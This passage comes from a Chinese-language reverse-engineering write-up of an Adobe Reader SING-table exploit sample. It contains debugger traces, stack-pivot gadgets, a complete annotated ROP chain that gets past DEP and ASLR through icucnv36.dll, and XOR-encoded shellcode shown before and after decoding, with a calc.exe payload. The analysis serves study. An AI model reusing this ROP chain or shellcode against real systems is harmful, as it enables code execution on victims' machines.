.text:08001251         mov     edi, eax                         ; edi=eax=0x0012E4D8
.text:08001253         mov     eax, [esi]                       ; eax = [esi]=[0x0012E608]=0x4A8A08C6,icucnv36 <--------
.text:08001255         test    eax, eax                         ; 
.text:08001257         pop     ecx                              ; ecx=0x0012E4D8
.text:08001258         jz      short loc_8001262                ; 不跳转
.text:0800125A         push    eax                              ; arg1: [0x0012E45C]=eax = 0x4A8A08C6, <----------
.text:0800125B         call    dword_8231224                    ; BIB.07005CAF  
    |    |    |  
    ↓    ↓    ↓
07005CAF       mov ecx,dword ptr ss:[esp+0x4]           ; ecx=[esp+4]=0x4A8A08C6 <- arg1
07005CB3       jmp BIB.070013F2
    |    |    |  
    ↓    ↓    ↓
**********************************************
            BIB.070013F2()
**********************************************
070013F2       push ebp                                 ; ebp=0x0012E4D8
070013F3       mov ebp,esp                              ; ebp=esp=0x0012E454
070013F5       push ecx                                 ; ecx=0x4A8A08C6,icucnv36
070013F6       push ecx                                 ; ecx=0x4A8A08C6,icucnv36
070013F7       lea eax,dword ptr ds:[ecx+0x1C]          ; eax=0x4A8A08C6+0x1C=0x4A8A08E2 <--------
070013FA       mov dword ptr ss:[ebp-0x8],eax           ; 
070013FD       mov eax,dword ptr ss:[ebp-0x8]           ; 
07001400       lock dec dword ptr ds:[eax]              ; [eax] = [0x4A8A08E2] = 0x00000000,减1变为0xFFFFFFFF <--------
07001403       sete byte ptr ss:[ebp-0x1]               ; 取标志寄存器中ZF的值, 赋值给[ebp-0x1] ebp=0012E454;[0012E450]=0x4A8A08C6->0x008A08C6
07001407       cmp byte ptr ss:[ebp-0x1],0x0            ; ZF=1
0700140B       je short BIB                    ; 跳转实现
0700140D       call BIB.070013B5                        ; 不执行
07001412       leave
07001413       retn
  通过上面的调试信息,BIB.070013F2()函数中的地址0x07001400处的指令lock dec dword ptr ds:[eax]对0x4A8A08C6+0x1C=0x4A8A08E2地址处的值进行了读写,所以0x4A8A08C6+0x1C处的值必须要具有可读可写权限。在吾爱OllyDbg的内存窗口,只能看到此地址具有读权限,而通过Immunity Debugger可以看到此地址处具有读写权限。
2.6、样本中SING表数据“0x6C”的作用
TBD,样本中注释说是,如果没有这段数据,sub_801ba57()函数将会返回0。没有调试出来。
最近找到一个链接,提到了这个数据的作用,更新下,就先不分析了,没啥时间。
2010.09.09 - VUPEN - Criminals Are Getting Smarter: Analysis of the Adobe Acrobat/Reader 0-Day Exploit
0x40 漏洞利用
0x41 ROP绕过DEP
1、阶段1:跳转到堆喷代码
  DEP(Data Execution Prevention),即数据执行保护。开启后,堆栈是不具有执行权限的,所以不能直接在缓冲区中填入Payload。而ROP(Return-Oriented Programming),返回导向编程,则是通过程序中已存在的多段小的代码片段(ROPgadget)来控制程序执行流的。缓冲区中填入的只是代码片段的首地址。样本中使用了两段ROPgadget代码片段用于绕过DEP。ROPgadget1:1
2
3
4
5
6
7icucnv36.4A80CB38    81C5 94070000   add ebp,0x794 ; ebp=0x0012DD48+0x794=0x0012E4DC
icucnv36.4A80CB3E    C9              leave         ; 如下
icucnv36.4A80CB3F    C3              retn
leave:
mov esp,ebp ; esp=ebp=0x0012E4DC
pop ebp     ; esp=esp+0x4=0x0012E4E0 -> ROPgadget2
  执行到0x0012E6D0处的ROPgadget1时,esp(0x0012DD24)距离我们构造的“uniqueName”字段在栈上的缓冲区的首地址(0x0012E4D8)有较远距离,所以我们需要寻找一段可以调整esp至“uniqueName”字段缓冲区内的ROPgadget。上面这段ROPgadget先是通过修改ebp,让其落在“uniqueName”字段缓冲区内,然后通过leave指令,利用ebp来修改esp,使其指向第二段ROPgadget,再执行ret指令,跳转到ROPgadget2执行。
ROPgadget2:1
2
3
4
5icucnv36.4A82A712    FF50 5C         call dword ptr ds:[eax+0x5C]
icucnv36.4A82A715    C3              retn
icucnv36.4A82A714    5C              pop esp ; esp=0x0C0C0C0C                       
icucnv36.4A82A715    C3              retn
  这段ROPgadget直接将esp指向堆喷的ROP Chain代码处,执行ROP Chain。原本这里的代码是CALL指令,机器码为FF50 5C,这里只截取了5C,所以指令变成了pop esp,成功控制EIP去执行Heap Spray处的ROP Chain。
接下来我们通过一张图来了解这个ROP过程:

  前面说过,漏洞作者选取的这两个ROPgadget地址0x4A82A714和0x4A80CB38都位于icucnv36.dll的地址空间,而在Adobe Reader的各个版本上,这个dll的这两处地址是始终不变的,从而保证了exploit对于各版本的兼容性和稳定性。
2、阶段2:将真正的shellcode复制到可读可写可执行内存段
  接下来我们来看看堆喷的代码是怎样绕过DEP的。我查看了msf用于生成样本文件的模块,其中如下的数据就是用于绕过DEP而构造的ROP Chain:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174# 使用icucnv36.dll中的代码片段,构建ret2lib的ROP Chain.以此绕过DEP,执行shellcode.
stack_data = [
    0x41414141,   # unused,用于补齐堆块内容长度占用的4byte
    0x4a8063a5,   # pop ecx / ret
    0x4a8a0000,   # becomes ecx ; ecx=0x4a8a0000,用于保存eax的地址
  
    0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as ; [ecx]=[0x4a8a0000]=eax,保存eax
    0x4a801f90,   # pop eax / ret
    0x4a84903c,   # becomes eax (import for CreateFileA) ; CreateFileA()在输入表中表项的地址
    # -- call CreateFileA
    # 创建或打开一个文件或I/O设备。
    0x4a80b692,   # jmp [eax] ; 调用CreateFileA()
    # 这里用一条ret指令的地址,使程序执行流转到下一个ROPgadget(0x4a8063a5)执行,栈平衡是由CreateFileA()完成的。
    0x4a801064,   # ret ; CreateFileA()的返回地址,
    0x4a8522c8,   # first arg   - lpFileName , pointer to "iso88591"
    0x10000000,   # second arg  - dwDesiredAccess
    0x00000000,   # third arg   - dwShareMode
    0x00000000,   # fourth arg  - lpSecurityAttributes
    0x00000002,   # fifth arg   - dwCreationDisposition
    0x00000102,   # sixth arg   - dwFlagsAndAttributes
    0x00000000,   # seventh arg - hTemplateFile
    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx ; ecx=0x4a801064,ret指令地址
    0x4a842db2,   # xchg eax,edi / ret ; edi=0x0012E718,eax=0x00000304,eax<->edi,edi保存返回值,文件句柄
    0x4a802ab1,   # pop ebx / ret
    0x00000008,   # becomes ebx - offset to modify ; ebx=0x8,要修改位置的偏移
    #
    # This points at a neat-o block of code that ... TBD
    #
    #   and [esp+ebx*2],edi ; 应该只是用这句指令修改下一步要调用的函数的参数 
    #   jne check_slash
    # ret_one:
    #   mov al,1
    #   ret
    # check_slash:
    #   cmp al,0x2f
    #   je ret_one
    #   cmp al,0x41
    #   jl check_lower
    #   cmp al,0x5a
    #   jle check_ptr
    # check_lower:
    #   cmp al,0x61
    #   jl ret_zero
    #   cmp al,0x7a
    #   jg ret_zero
    #   cmp [ecx+1],0x3a
    #   je ret_one
    # ret_zero:
    #   xor al,al
    #   ret
    #
    # 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改CreateFileMappingA第一个参数为调用CreateFileA返回的文件句柄)
    0x4a80a8a6,   # execute fun block
    0x4a801f90,   # pop eax / ret
    0x4a849038,   # becomes eax (import for CreateFileMappingA) ; CreateFileMappingA()在输入表中表项的地址
    # -- call CreateFileMappingA
    # 创建或打开指定文件的命名或未命名文件映射对象。
    0x4a80b692,   # jmp [eax] ; 调用CreateFileMappingA()
    # 这里用一条ret指令的地址,使程序执行流转到下一个ROPgadget(0x4a8063a5)执行,栈平衡是由CreateFileMappingA()完成的。
    0x4a801064,   # ret ; CreateFileMappingA()的返回地址
    0xffffffff,   # first arg   - hFile ; CreateFileA返回的文件句柄
    0x00000000,   # second arg  - lpAttributes
    0x00000040,   # third arg   - flProtect
    0x00000000,   # fourth arg  - dwMaximumSizeHigh
    0x00010000,   # fifth arg   - dwMaximumSizeLow
    0x00000000,   # sixth arg   - lpName
    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx ; ecx=0x4a801064,ret指令地址
    0x4a842db2,   # xchg eax,edi / ret ; edi=0x00000304,eax=0x00000320,edi<->eax,edi保存返回值(0x320,文件映射对象的句柄。)
    0x4a802ab1,   # pop ebx / ret
    0x00000008,   # becomes ebx - offset to modify ; ebx=0x8,要修改位置的偏移
    # 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改MapViewOfFile第一个参数为调用CreateFileMappingA返回的文件映射对象的句柄)
    0x4a80a8a6,   # execute fun block
    0x4a801f90,   # pop eax / ret
    0x4a849030,   # becomes eax (import for MapViewOfFile) ; MapViewOfFile()在输入表中表项的地址
    # -- call MapViewOfFile
    # 将一个文件映射对象映射到当前应用程序的地址空间。
    0x4a80b692,   # jmp [eax] ; 调用MapViewOfFile()
    0x4a801064,   # ret ; MapViewOfFile()的返回地址
    0xffffffff,   # first arg   - hFileMappingObject ; CreateFileMappingA返回的文件映射对象的句柄
    0x00000022,   # second arg  - dwDesiredAccess
    0x00000000,   # third arg   - dwFileOffsetHigh
    0x00000000,   # fourth arg  - dwFileOffsetLow
    0x00010000,   # fifth arg   - dwNumberOfBytesToMap
    0x4a8063a5,   # pop ecx / ret
    0x4a8a0004,   # becomes ecx - writable pointer ; ecx=0x4a8a0004,可写指针,用于保存文件映射基地址的指针
    0x4a802196,   # mov [ecx],eax / ret - save map base addr ; [ecx]=[0x4a8a0004]=eax=0x03550000,保存文件映射基地址
    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址
    0x4a842db2,   # xchg eax,edi / ret ; eax=0x03550000,edi=0x320,eax<->edi,edi保存返回值(0x03550000,文件映射基地址)
    0x4a802ab1,   # pop ebx / ret
    0x00000030,   # becomes ebx - offset to modify ; ebx=0x30,要修改位置的偏移
    # 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改memcpy返回地址为调用MapViewOfFile返回的文件映射基地址)
    0x4a80a8a6,   # execute fun block
    0x4a801f90,   # pop eax / ret
    0x4a8a0004,   # becomes eax - saved file mapping ptr ; eax=0x4a8a0004,保存文件映射基地址的指针
    0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr ; eax=[eax]=0x03550000,取文件映射基地址
    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址
    0x4a842db2,   # xchg eax,edi / ret ; eax=0x03550000,edi=0x03550000,eax<->edi(0x03550000,文件映射基地址)
    0x4a802ab1,   # pop ebx / ret
    0x00000020,   # becomes ebx - offset to modify ; ebx=0x20,要修改位置的偏移
    # 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改memcpy第一个参数为调用MapViewOfFile返回的文件映射基地址)
    0x4a80a8a6,   # execute fun block
    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址
    # lea edx,dword ptr ss:[esp+0xC]    ; edx为0x4a8063a5的地址,edx=0x0C0C0D20,esp=0x0C0C0D14(0x4a801f90),主要语句
    # push edx                          ; edx=0x0C0C0D20                       
    # push eax                          ; eax=0x03550000
    # push dword ptr ss:[esp+0xC]       ; [esp+0xC]=[0x0C0C0D0C+0xC]=[0x0C0C0D18]=0x34                        
    # push dword ptr ds:[0x4A8A093C]    ; [0x4A8A093C]=0x0
    # call ecx                          ; ecx=0x4a801064,ret指令地址                      
    # add esp,0x10                      ; esp=esp+0x10=0x0C0C0D04+0x10=0x0C0C0D14(0x4a801f90)
    # retn                              ; 
    0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
    0x4a801f90,   # pop eax / ret
    0x00000034,   # becomes eax ; eax=0x00000034,真正shellcode的地址相对ROPgadget(0x4a8063a5)的偏移
    0x4a80d585,   # add eax,edx / ret ; eax=eax+edx=0x34+0x0C0C0D20(0x4a8063a5)=0x0C0C0D54(真正shellcode的地址)
    0x4a8063a5,   # pop ecx / ret
    0x4a801064,   # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址 
    0x4a842db2,   # xchg eax,edi / ret ; eax=0x0C0C0D54,edi=0x03550000,eax<->edi,edi保存真正shellcode的地址(eax=0x03550000,edi=0x0C0C0D54)
    0x4a802ab1,   # pop ebx / ret
    0x0000000a,   # becomes ebx - offset to modify ; ebx=0xa,要修改位置的偏移
    # 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改memcpy第二个参数为计算出的真正shellcode的地址)
    0x4a80a8a6,   # execute fun block
    0x4a801f90,   # pop eax / ret
    0x4a849170,   # becomes eax (import for memcpy) ; memcpy()在输入表中表项的地址
    # -- call memcpy
    0x4a80b692,   # jmp [eax]
    # memcpy的返回地址,由函数块0x4a80a8a6修改,被修改为真正shellcode的地址
    0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
    0xffffffff,   # becomes first arg to memcpy (dst)       ; 0x03550000,文件映射基地址
    0xffffffff,   # becomes second arg to memcpy (src)      ; 0x0C0C0D54,真正shellcode的地址
    0x00001000,   # becomes third arg to memcpy (length)    ; 复制长度
    # 这后面就是经过编码的shellcode的内容
].pack('V*')
我们可以看到调用了四个函数,
CreateFileA()、CreateFileMappingA()、MapViewOfFile()、memcpy()。调用createFileA()函数时参数如下:
| 1 | ; 功能:创建一个文件或设备 | 
调用
CreateFileMappingA()时的参数如下:
| 1 | ; 功能:创建文件映射内核对象,文件与物理页映射 | 
调用
MapViewOfFile()时的参数如下:
| 1 | ; 功能:将一个文件映射对象映射到当前应用程序的地址空间。将物理页与进程虚拟地址进行映射。 | 
执行完,进程内存中会多一块这样的内存块:
| 1 | 地址=03EA0000 | 
调用
memcopy()时的参数如下:
| 1 | ; 功能:内存拷贝 | 
  最后调用memcopy的时候,目的地址就是前面MapViewOfFile()返回的文件映射基地址,而源地址就是真正的shellcode代码,将它复制到一段可执行可读写的内存段,以此绕过DEP。由于构造的ROP指令均位于不受ASLR保护的icucnv36.dll模块,因此也可以绕过ASLR保护。正是由于DEP的存在,所以堆栈空间是不存在可执行权限的,所以,我们需要创建一个文件映射对象,将其映射到可读可写可执行的内存块,再把shellcode拷贝到那里,就可以执行了。
3、阶段3:执行shellcode
  Heap Spary中使用的shellcode是经过编码的(payload.encoded)。经过分析,shellcode是通过XOR进行编码的,所以会首先执行XOR解码,然后再执行真正的shellcode功能。解码前:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122; 内存:
;....0000  BA 6D A5 42 5E DD C4 D9 74 24 F4 5D 31 C9 B1 31  簃^菽賢$鬩1杀1
;....0010  83 C5 04 31 55 0F 03 55 62 47 B7 A2 94 05 38 5B  兣1UUbG发?8[
;....0020  64 6A B0 BE 55 AA A6 CB C5 1A AC 9E E9 D1 E0 0A  dj熬U伺瑸檠?
;....0030  7A 97 2C 3C CB 12 0B 73 CC 0F 6F 12 4E 52 BC F4  z?<?s?oNR剪
;....0040  6F 9D B1 F5 A8 C0 38 A7 61 8E EF 58 06 DA 33 D2  o澅酲?庯X?
;....0050  54 CA 33 07 2C ED 12 96 27 B4 B4 18 E4 CC FC 02  T?,??创涮?
;....0060  E9 E9 B7 B9 D9 86 49 68 10 66 E5 55 9D 95 F7 92  殚饭賳Ihf錟潟鲯
;....0070  19 46 82 EA 5A FB 95 28 21 27 13 AB 81 AC 83 17  F傟Z麜(!'珌瑑
;....0080  30 60 55 D3 3E CD 11 BB 22 D0 F6 B7 5E 59 F9 17  0`U???婿穅Y?
;....0090  D7 19 DE B3 BC FA 7F E5 18 AC 80 F5 C3 11 25 7D  ?蕹贱?瑎趺%}
;....00A0  E9 46 54 DC 67 98 EA 5A C5 9A F4 64 79 F3 C5 EF  镕T躦橁Z艢鬱y笈
;....00B0  16 84 D9 25 53 7A 90 64 F5 13 7D FD 44 7E 7E 2B  勝%Sz恉?}鼶~~+
;....00C0  8A 87 FD DE 72 7C 1D AB 77 38 99 47 05 51 4C 68  妵r|玾8橤QLh
;....00D0  BA 52 45 0B 5D C1 05 E2 F8 61 AF FA 0C 0C 0C 0C  篟E]?怿a....
;....00E0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
;....00F0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
; 反汇编:
; 异或解密流程:以0x5E42A56D为基础异或key,异或待解密数据的第一个双字,将异或的结果与0x5E42A56D相加,得到下一个双字的异或key,以此类推,ecx=ecx-0x1,直至ecx=0,退出循环。
....0000    BA 6DA5425E     mov edx,0x5E42A56D                 ; edx=0x5E42A56D,异或数
....0005    DDC4            ffree st(4)                        ; 
....0007    D97424 F4       fstenv (28-byte) ptr ss:[esp-0xC]  ; 保存FPU环境,0x0C0C0D3C-0x0C0C0D58
....000B    5D              pop ebp                            ; ebp=0x....0005
....000C    31C9            xor ecx,ecx                        ; ecx=0x0
....000E    B1 31           mov cl,0x31                        ; cl=0x31=49,异或数据(49个双字)
....0010    83C5 04         add ebp,0x4                        ; ebp=0x....0005+0x4=0x....0009
....0013    3155 0F         xor dword ptr ss:[ebp+0xF],edx     ; [ebp+0xf]=[0x....0018]=0xA2B74762,异或解密0x18-0xDB的代码
....0016    0355 62         add edx,dword ptr ss:[ebp+0x62]
....0019    47              inc edi
....001A    B7 A2           mov bh,0xA2
....001C    94              xchg eax,esp
....001D    05 385B646A     add eax,0x6A645B38
....0022    B0 BE           mov al,0xBE
....0024    55              push ebp
....0025    AA              stos byte ptr es:[edi]
....0026    A6              cmps byte ptr ds:[esi],byte ptr es:[edi]
....0027    cb              retf
....0028    c51a            lds ebx,fword ptr ds:[edx]
....002A    AC              lods byte ptr ds:[esi]
....002B    9E              sahf
....002C  - E9 D1E00A7A     jmp 7E2BE102
....0031    97              xchg eax,edi
....0032    2C 3C           sub al,0x3C
....0034    cb              retf
....0035    120B            adc cl,byte ptr ds:[ebx]
....0037  ^ 73 CC           jnb short ....0005
....0039    0F6F12          movq mm2,qword ptr ds:[edx]
....003C    4E              dec esi
....003D    52              push edx
....003E    BC F46F9DB1     mov esp,0xB19D6FF4
....0043    F5              cmc
....0044    A8 C0           test al,0xC0
....0046    38A7 618EEF58   cmp byte ptr ds:[edi+0x58EF8E61],ah
....004C    06              push es
....004D    DA33            fidiv dword ptr ds:[ebx]
....004F    D254CA 33       rcl byte ptr ds:[edx+ecx*8+0x33],cl
....0053    07              pop es
....0054    2C ED           sub al,0xED
....0056    1296 27B4B418   adc dl,byte ptr ds:[esi+0x18B4B427]
....005C    e4 cc           in al,0xcc
....005E    FC              cld
....005F    02E9            add ch,cl
....0061  - E9 B7B9D986     jmp 8AFABA1D
....0066    49              dec ecx
....0067    68 1066E555     push 0x55E56610
....006C    9D              popfd
....006D    95              xchg eax,ebp
....006E    F792 194682EA   not dword ptr ds:[edx-0x157DB9E7]
....0074    5A              pop edx                                
....0075    FB              sti
....0076    95              xchg eax,ebp
....0077    2821            sub byte ptr ds:[ecx],ah
....0079    27              daa
....007A    13AB 81AC8317   adc ebp,dword ptr ds:[ebx+0x1783AC81]
....0080    3060 55         xor byte ptr ds:[eax+0x55],ah
....0083    D33E            sar dword ptr ds:[esi],cl
....0085    CD 11           int 0x11
....0087    BB 22D0F6B7     mov ebx,0xB7F6D022
....008C    5E              pop esi                              
....008D    59              pop ecx                             
....008E    F9              stc
....008F    17              pop ss
....0090    D7              xlat byte ptr ds:[ebx+al]
....0091    19DE            sbb esi,ebx
....0093    B3 BC           mov bl,0xBC
....0095    FA              cli
....0096  ^ 7F E5           jg short ....007D
....0098    18AC80 F5C31125 sbb byte ptr ds:[eax+eax*4+0x2511C3F5],c>
....009F  ^ 7D E9           jge short ....008A
....00A1    46              inc esi
....00A2    54              push esp
....00A3    DC67 98         fsub qword ptr ds:[edi-0x68]
....00A6    ea 5ac59af4 647>jmp far 7964:0f49ac55a
....00AD    f3              rep
....00AE    c5              db c5
....00AF    ef              out dx,eax
....00B0    16              push ss
....00B1    84D9            test cl,bl
....00B3    25 537A9064     and eax,0x64907A53
....00B8    F5              cmc
....00B9    137D FD         adc edi,dword ptr ss:[ebp-0x3]
....00BC    44              inc esp
....00BD    7E 7E           jle short ....013D
....00BF    2B8A 87FDDE72   sub ecx,dword ptr ds:[edx+0x72DEFD87]
....00C5    7C 1D           jl short ....00E4
....00C7    AB              stos dword ptr es:[edi]
....00C8    77 38           ja short ....0102
....00CA    99              cdq
....00CB    47              inc edi
....00CC    05 514C68BA     add eax,0xBA684C51
....00D1    52              push edx
....00D2    45              inc ebp
....00D3    0B5D C1         or ebx,dword ptr ss:[ebp-0x3F]
....00D6    05 E2F861AF     add eax,0xAF61F8E2
....00DB    FA              cli
....00DC    0C 0C           or al,0xC
....00DE    0C 0C           or al,0xC
....00E0    0C 0C           or al,0xC
....00E2    0C 0C           or al,0xC
....00E4    0C 0C           or al,0xC
....00E6    0C 0C           or al,0xC
解码后:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122; 内存:
;....0000  BA 6D A5 42 5E DD C4 D9 74 24 F4 5D 31 C9 B1 31  簃^菽賢$鬩1杀1
;....0010  83 C5 04 31 55 0F 03 55 0F E2 F5 FC E8 82 00 00  兣1UU怩?.
;....0020  00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14  .`夊1纃婸0婻.婻
;....0030  8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20  媟(稪&1?a|,
;....0040  C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B  料.氢騌W婻婮<
;....0050  4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18  Lx鉎裃媃 計I
;....0060  E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7  ?I????
;....0070  38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24  8鄒?}?}$u鋁媂$
;....0080  01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0  觙?K媂計?
;....0090  89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B  塂$$[[aYZQ郷_Z
;....00A0  12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 50 68 31 8B  雿]j崊?..Ph1
;....00B0  6F 87 FF D5 BB F0 B5 A2 56 68 A6 95 BD 9D FF D5  o?栈鸬h綕
;....00C0  3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F 6A 00  <|.€u籊roj.
;....00D0  53 FF D5 63 61 6C 63 2E 65 78 65 00 0C 0C 0C 0C  S誧alc.exe.....
;....00E0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
;....00F0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
; 反汇编:
....0000    BA 6DA5425E     mov edx,0x5E42A56D                          ; edx=0x5E42A56D,异或数
....0005    DDC4            ffree st(4)                                 ;
....0007    D97424 F4       fstenv (28-byte) ptr ss:[esp-0xC]           ; 保存FPU环境,0x0C0C0D3C-0x0C0C0D58
....000B    5D              pop ebp                                     ; ebp=0x....0005
....000C    31C9            xor ecx,ecx                                 ; ecx=0x0
....000E    B1 31           mov cl,0x31                                 ; cl=0x31=49,49个双字待异或解密数据
....0010    83C5 04         add ebp,0x4                                 ; ebp=0x....0005+0x4=0x....0009
....0013    3155 0F         xor dword ptr ss:[ebp+0xF],edx              ; [ebp+0xf]=[0x....0018]=0xA2B74762,异或解密0x18-0xDB的代码
....0016    0355 0F         add edx,dword ptr ss:[ebp+0xF]              ; edx=edx+[ebp+0xf]=0x5E42A56D+0xFCF5E20F=0x5B38877C
....0019  ^ E2 F5           loopd short ....0010                        ; 跳转到0x....0010,ecx=ecx-1
-----------------------------------------------------------------------------------------------------------------------------
....001B    FC              cld                                         ; 方向标志位DF清零,lodsb指令根据DF改变esi
....001C    E8 82000000     call ....00A3                               ; 返回地址为0x....0021
....0021    60              pushad
....0022    89E5            mov ebp,esp
....0024    31C0            xor eax,eax
....0026    64:8B50 30      mov edx,dword ptr fs:[eax+0x30]
....002A    8B52 0C         mov edx,dword ptr ds:[edx+0xC]
....002D    8B52 14         mov edx,dword ptr ds:[edx+0x14]
....0030    8B72 28         mov esi,dword ptr ds:[edx+0x28]
....0033    0FB74A 26       movzx ecx,word ptr ds:[edx+0x26]
....0037    31FF            xor edi,edi                   ---+
....0039    AC              lods byte ptr ds:[esi]           |
....003A    3C 61           cmp al,0x61                      |
....003C    7C 02           jl short ....0040                | 计算dll名称hash
....003E    2C 20           sub al,0x20                      |
....0040    C1CF 0D         ror edi,0xD                      |
....0043    01C7            add edi,eax                      |
....0045  ^ E2 F2           loopd short ....0039          ---+
....0047    52              push edx
....0048    57              push edi
....0049    8B52 10         mov edx,dword ptr ds:[edx+0x10]
....004C    8B4A 3C         mov ecx,dword ptr ds:[edx+0x3C]
....004F    8B4C11 78       mov ecx,dword ptr ds:[ecx+edx+0x78]
....0053    E3 48           jecxz short ....009D
....0055    01D1            add ecx,edx
....0057    51              push ecx
....0058    8B59 20         mov ebx,dword ptr ds:[ecx+0x20]
....005B    01D3            add ebx,edx
....005D    8B49 18         mov ecx,dword ptr ds:[ecx+0x18]
....0060    E3 3A           jecxz short ....009C
....0062    49              dec ecx
....0063    8B348B          mov esi,dword ptr ds:[ebx+ecx*4]
....0066    01D6            add esi,edx
....0068    31FF            xor edi,edi                  ---+
....006A    AC              lods byte ptr ds:[esi]          |
....006B    C1CF 0D         ror edi,0xD                     |
....006E    01C7            add edi,eax                     | 计算函数名hash
....0070    38E0            cmp al,ah                       |
....0072  ^ 75 F6           jnz short ....006A           ---+    
....0074    037D F8         add edi,dword ptr ss:[ebp-0x8]  | api_hash = dll_name_hash + func_name_hash
....0077    3B7D 24         cmp edi,dword ptr ss:[ebp+0x24] |
....007A  ^ 75 E4           jnz short ....0060           ---+
....007C    58              pop eax
....007D    8B58 24         mov ebx,dword ptr ds:[eax+0x24]
....0080    01D3            add ebx,edx
....0082    66:8B0C4B       mov cx,word ptr ds:[ebx+ecx*2]
....0086    8B58 1C         mov ebx,dword ptr ds:[eax+0x1C]
....0089    01D3            add ebx,edx
....008B    8B048B          mov eax,dword ptr ds:[ebx+ecx*4]
....008E    01D0            add eax,edx
....0090    894424 24       mov dword ptr ss:[esp+0x24],eax
....0094    5B              pop ebx
....0095    5B              pop ebx
....0096    61              popad
....0097    59              pop ecx
....0098    5A              pop edx
....0099    51              push ecx
....009A  ^ FFE0            jmp eax                         ; 调用查找到的所需api函数
....009C    5F              pop edi
....009D    5F              pop edi
....009E    5A              pop edx
....009F    8B12            mov edx,dword ptr ds:[edx]
....00A1  ^ EB 8D           jmp short ....0030
-----------------------------------------------------------------------------------------------------------------------------
....00A3    5D              pop ebp                 ; ebp=0x....0021
....00A4    6A 01           push 0x1
....00A6    8D85 B2000000   lea eax,dword ptr ss:[ebp+0xB2] ; eax=ebp+0xB2=0x....0021+0xB2=0x....00D3(calc.exe)
....00AC    50              push eax
....00AD    68 318B6F87     push 0x876F8B31         ; WinExec(kernel32.dll),通过hash算法算出的api_hash
....00B2    FFD5            call ebp
....00B4    BB F0B5A256     mov ebx,0x56A2B5F0      ; ExitProcess(kernel32.dll)
....00B9    68 A695BD9D     push 0x9DBD95A6         ; GetVersion(kernel32.dll)
....00BE    FFD5            call ebp
....00C0    3C 06           cmp al,0x6
....00C2    7C 0A           jl short ....00CE
....00C4    80FB E0         cmp bl,0xE0
....00C7    75 05           jnz short ....00CE
....00C9    BB 4713726F     mov ebx,0x6F721347      ; RtlExitUserThread(ntdll.dll)
....00CE    6A 00           push 0x0
....00D0    53              push ebx
....00D1    FFD5            call ebp
-----------------------------------------------------------------------------------------------------------------------------
....00D3    6361 6C         arpl word ptr ds:[ecx+0x6C],sp     ; "calc.exe\x00"
....00D6    632E            arpl word ptr ds:[esi],bp
....00D8    65:78 65        js short 03d10140
....00DB    000C0C          add byte ptr ss:[esp+ecx],cl
....00DE    0C 0C           or al,0xC
....00E0    0C 0C           or al,0xC
....00E2    0C 0C           or al,0xC
....00E4    0C 0C           or al,0xC
....00E6    0C 0C           or al,0xC
....00E8    0C 0C           or al,0xC
